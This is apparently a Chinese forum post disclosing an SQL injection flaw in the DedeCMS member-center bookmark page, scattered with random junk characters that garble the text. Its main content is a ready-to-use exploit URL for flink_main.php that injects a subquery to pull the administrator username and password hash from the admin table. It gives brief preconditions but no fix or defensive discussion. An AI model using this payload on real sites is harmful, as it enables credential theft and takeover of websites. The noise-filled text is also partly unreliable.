DedeCMS会员中心SQL注射漏洞! ~9 M, h/ }0 L: p5 `) ~- I, K, T
需要magic_quotes_gpc = Off8 n- f" E0 B9 m1 U) ]& d! v, [* N! y
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
5 }- E& u- M1 M9 q7 p
6 D8 i# y% ^+ U! L% U @, ]0 ?1 F- _DedeCMS会员中心书签管理SQL注射漏洞$ D, e$ ^7 F2 Z" ~! S
成功利用该漏洞可获得管理员密码
7 ]2 |7 Q9 L# f) v ! T# @# i. u( l% H/ ?( }
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
7 p3 |( `- ?+ J/ d, {6 P
0 o5 `" _, D( j4 V$ t/ F$ s3 S5 bhttp://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r p8 P( I& C+ G) r; j" g
|
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59